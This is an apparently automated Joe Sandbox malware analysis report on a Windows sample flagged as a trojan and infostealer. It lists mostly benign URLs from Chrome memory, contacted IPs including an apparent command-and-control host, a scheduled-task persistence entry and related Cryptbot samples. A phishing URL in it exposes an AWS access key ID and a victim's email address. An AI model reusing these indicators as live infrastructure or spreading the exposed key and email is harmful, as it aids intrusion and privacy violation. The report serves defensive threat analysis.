https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000005.00000002.1957802381.000007380080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1962879905.0000073800FE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957676235.00000738007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1956327418.00000738004E4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000005.00000002.1955811790.00000738004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929896406.0000073800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929828398.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928252369.0000073801044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930585121.0000073801150000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929796641.0000073800A10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928389946.00000738010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928358477.0000073801054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930331068.0000073800450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928599467.0000073801070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1954925325.00000738002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929768992.0000073800498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928464761.0000073800F58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930664042.000007380120C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/	chrome.exe, 00000005.00000002.1955145276.000007380031C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/document/:	chrome.exe, 00000005.00000002.1959303194.0000073800A7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp	false	high
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000005.00000002.1958737245.0000073800984000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1959226275.0000073800A58000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7714	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://unisolated.invalid/	chrome.exe, 00000005.00000002.1958737245.0000073800984000.00000004.00000800.00020000.00000000.sdmp	false	high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000005.00000003.1930585121.0000073801150000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930331068.0000073800450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930664042.000007380120C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/chrome/tips/	chrome.exe, 00000005.00000002.1957905844.000007380081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1954422655.00000738001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1958629416.0000073800958000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/?lfhs=2	chrome.exe, 00000005.00000002.1961081967.0000073800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/6248	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/6929	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/5281	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.youtube.com/?feature=ytca	chrome.exe, 00000005.00000002.1961081967.0000073800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.googl0	chrome.exe, 00000005.00000002.1955145276.000007380031C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/255411748	chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000005.00000002.1957802381.000007380080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1962879905.0000073800FE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957676235.00000738007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1956327418.00000738004E4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7246	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7369	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7489	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/presentation/	chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/?q=	chrome.exe, 00000005.00000002.1960164988.0000073800C38000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore	chrome.exe, 00000005.00000002.1960455536.0000073800CD8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-2.corp.google.com/	chrome.exe, 00000005.00000003.1918573571.00000738004C4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000005.00000002.1955811790.00000738004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929896406.0000073800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929828398.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928252369.0000073801044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930585121.0000073801150000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929796641.0000073800A10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928389946.00000738010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928358477.0000073801054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930331068.0000073800450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928599467.0000073801070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1954925325.00000738002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929768992.0000073800498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928464761.0000073800F58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930664042.000007380120C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000005.00000002.1960128689.0000073800C28000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/161903006	chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.youtube.com/s/notifications/manifest/cr_install.htmlA	chrome.exe, 00000005.00000002.1960231549.0000073800C50000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en8	chrome.exe, 00000005.00000002.1963207323.0000073801114000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-1.corp.google.com/	chrome.exe, 00000005.00000003.1918573571.00000738004C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.youtube.com/	chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-5.corp.google.com/	chrome.exe, 00000005.00000003.1918573571.00000738004C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.ico	chrome.exe, 00000005.00000002.1960164988.0000073800C38000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000005.00000002.1957586318.000007380075C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1963064956.00000738010B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1956439169.0000073800514000.00000004.00000800.00020000.00000000.sdmp	false	high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000005.00000002.1957488208.0000073800730000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957287688.00000738006BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1956633120.0000073800548000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1958087211.0000073800878000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/spreadsheets/	chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3078	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7553	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/5375	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://httpbin.org/ipbefore	kGxQbLOG7s.exe, 00000000.00000003.1430064017.000000000705F000.00000004.00001000.00020000.00000000.sdmp	false	high
http://anglebug.com/5371	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/4722	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000005.00000002.1954422655.00000738001C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000005.00000002.1962463332.0000073800F20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957586318.000007380075C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1956439169.0000073800514000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7556	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-4.c	chrome.exe, 00000005.00000002.1955145276.000007380031C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chromewebstore.google.com/	chrome.exe, 00000005.00000002.1954018217.000007380018C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-preprod.corp.google.com/	chrome.exe, 00000005.00000003.1918573571.00000738004C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://clients4.google.com/chrome-sync	chrome.exe, 00000005.00000002.1954422655.00000738001C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore8	chrome.exe, 00000005.00000002.1957174738.0000073800654000.00000004.00000800.00020000.00000000.sdmp	false	high
http://html4/loose.dtd	kGxQbLOG7s.exe, 00000000.00000003.1430064017.000000000705F000.00000004.00001000.00020000.00000000.sdmp	false	high
http://anglebug.com/6692	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/258207403	chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3502	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3623	chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3625	chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3624	chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/presentation/J	chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/5007	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/drive/installwebapp?usp=chrome_default	chrome.exe, 00000005.00000002.1957123570.0000073800628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3862	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000005.00000003.1923899441.0000073800498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923843260.0000073800498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928498828.0000073800CD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1924470908.0000073800CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1926606196.0000073800E74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960455536.0000073800CD8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/search?q=&addon=opensearch	chrome.exe, 00000005.00000002.1960128689.0000073800C28000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/4836	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960128689.0000073800C28000.00000004.00000800.00020000.00000000.sdmp	false	high
http://.css	kGxQbLOG7s.exe, 00000000.00000003.1430064017.000000000705F000.00000004.00001000.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 00000005.00000002.1960164988.0000073800C38000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/presentation/:	chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://unisolated.invalid/~	chrome.exe, 00000005.00000002.1958737245.0000073800984000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://anglebug.com/4384	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3970	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW	chrome.exe, 00000005.00000002.1962436379.0000073800F08000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1958087211.0000073800878000.00000004.00000800.00020000.00000000.sdmp	false	high
http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs	chrome.exe, 00000005.00000002.1958737245.0000073800984000.00000004.00000800.00020000.00000000.sdmp	false	high
https://policies.google.com/	chrome.exe, 00000005.00000002.1959226275.0000073800A58000.00000004.00000800.00020000.00000000.sdmp	false	high
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322	kGxQbLOG7s.exe, 00000000.00000003.1430064017.000000000705F000.00000004.00001000.00020000.00000000.sdmp	false	high
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000005.00000002.1955811790.00000738004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929896406.0000073800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929828398.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928252369.0000073801044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930585121.0000073801150000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929796641.0000073800A10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928389946.00000738010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928358477.0000073801054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930331068.0000073800450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928599467.0000073801070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1954925325.00000738002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1929768992.0000073800498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1928464761.0000073800F58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930664042.000007380120C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://.jpg	kGxQbLOG7s.exe, 00000000.00000003.1430064017.000000000705F000.00000004.00001000.00020000.00000000.sdmp	false	high
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000005.00000002.1966563267.0000433C00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1914945839.0000433C00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1914817190.0000433C0071C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7604	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7761	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7760	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-5.corp.go	chrome.exe, 00000005.00000002.1955145276.000007380031C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	chrome.exe, 00000005.00000002.1957586318.000007380075C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1956957832.00000738005E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1956439169.0000073800514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1959869227.0000073800B88000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/5901	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3965	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/6439	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.226.108.155	httpbin.org	United States	14618	AMAZON-AESUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
147.45.113.159	home.twentytk20pn.top	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578967
Start date and time:	2024-12-20 17:12:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	kGxQbLOG7s.exe renamed because original name is a hash value
Original Sample Name:	ebfe28cb77f3d1246693fa372420d022.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@20/7@16/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 14 Number of non-executed functions: 198
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 64.233.164.84, 172.217.19.206, 20.42.73.29, 4.245.163.56, 23.218.208.109, 20.190.177.149
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, umwatson.events.data.microsoft.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: kGxQbLOG7s.exe

Simulations

Behavior and APIs

Time	Type	Description
11:13:42	API Interceptor	2246425x Sleep call for process: kGxQbLOG7s.exe modified
11:15:44	API Interceptor	1x Sleep call for process: WerFault.exe modified
11:15:49	API Interceptor	2350903x Sleep call for process: service123.exe modified
16:15:16	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.226.108.155	HHFgVU1HGu.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	GxSEtDSBuK.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	ob4eL9Z1O4.exe	Get hash	malicious	Cryptbot	Browse
	nojxbVm8i4.exe	Get hash	malicious	Cryptbot	Browse
	WP6s7cCLzr.exe	Get hash	malicious	Unknown	Browse
	oJkvQZYkrx.exe	Get hash	malicious	Unknown	Browse
	2M43DSi2cx.exe	Get hash	malicious	Unknown	Browse
	f9bcOz8SxR.exe	Get hash	malicious	Unknown	Browse
	1o81tDUu5M.exe	Get hash	malicious	Unknown	Browse
	16ebsersuX.exe	Get hash	malicious	Cryptbot	Browse
239.255.255.250	q79Pocl81P.exe	Get hash	malicious	Cryptbot	Browse
	HHFgVU1HGu.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	GxSEtDSBuK.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	ob4eL9Z1O4.exe	Get hash	malicious	Cryptbot	Browse
	nojxbVm8i4.exe	Get hash	malicious	Cryptbot	Browse
	http://www.eventcreate.com/e/you-have-received-a-new-doc	Get hash	malicious	HTMLPhisher	Browse
	QnYodX3dYf.exe	Get hash	malicious	Cryptbot	Browse
	https://cv01zl.s3.amazonaws.com/index.html?AWSAccessKeyId=AKIAWPPO57XS4BTHJAEO&Signature=bBChlGCf3qnCt%2B4WchKJjXtb09k%3D&Expires=1734874865#stewart.thomas@cambridgeshire.gov.uk	Get hash	malicious	Fake Captcha	Browse
	h9CywWZk71.exe	Get hash	malicious	Cryptbot	Browse
